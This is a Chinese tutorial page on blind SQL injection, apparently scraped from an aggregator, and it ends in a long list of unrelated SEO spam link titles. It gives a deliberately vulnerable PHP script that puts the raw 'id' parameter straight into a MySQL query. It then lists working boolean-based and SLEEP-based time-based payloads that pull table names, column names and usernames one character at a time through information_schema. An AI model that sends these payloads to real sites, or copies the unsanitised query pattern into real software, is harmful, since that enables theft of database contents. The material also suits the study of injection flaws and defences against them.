当前位置: 首页 > wzjs >正文

网站目录层级建设查找域名

网站目录层级建设,查找域名,如何仿别人网站的莫板,计算机应用技术网站开发与应用一. 布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如HTTP 状态码等&#xff09;来判断查询条件是否为真。 1.进行数据库配置连接 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password;$conn new mysqli($host, $us…

一. 布尔盲注
布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';$conn = new mysqli($host, $user, $password, $dbname);if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {echo "Query is TRUE (数据存在)";
} else {echo "Query is FALSE (数据不存在)";
}// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 `id` 参数,一点点推断数据库信息

获取表名:

sqlid=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sqlid=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sqlid=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。

1.数据库配置连接与布尔盲注相同
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {echo "Query is TRUE (延迟 5 秒)";
} else {echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 `id` 参数,逐步推断数据库信息

获取表名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据: 

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三.获取表,列,具体数据的函数

1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

 

2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
3:获取数据
sqlid=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
http://www.dtcms.com/wzjs/817314.html

相关文章:

  • 惠州网站seo快速 模板 做网站
  • 邢台做网站动态四川做网站价格
  • 用模板做网站的方法广点通广告投放平台
  • 长沙市住房和建设局官方网站全国优秀施工企业查询
  • 松岗做网站公司求手机视频网站
  • wordpress标签图片不显示如何给网站做seo优化
  • 福州网站建设seo适合翻译做兼职的网站
  • 网站图片上怎么做弹幕效果免费全能浏览器
  • 通过网站做跳板哪里有网站直播做美食的
  • 网站建设与网站维护一个网站2级域名多
  • 个人淘宝客网站有哪些互联网有限公司
  • 国家示范校建设成果网站建设部网站注册中心
  • 网站怎样做排名西安网站建设首选那家
  • 适合当手机主页的网站wordpress主题文件夹
  • 北京朝阳区建设工作办公网站网站 流程 工具
  • 开篇网站推广wordpress 多站点配置
  • wap网站实例网站建设流程中哪些部分比较重要
  • 怎么给网站做推广东营市招投标信息网
  • 网站的页脚中国建设银行官网下载
  • 网站维护和建设工作范围sem工具是什么
  • 设计通网站建设郑州个人网站开发
  • 河南餐饮网站建设网站内容建设 互联互通
  • 公司网站的推广门户网站如何做推广
  • 齐齐哈尔哪里做网站哈尔滨建设工程交易中心网站
  • 重庆公司起名优化20条措施
  • 做网站多少宽带够彩票网站开发亿云
  • python网站开发简单吗网站自助平台
  • 网站开发类临西网站建设公司
  • 海南中小企业网站建设苏州网页制作招聘
  • pdf 网站建设扬中市做网站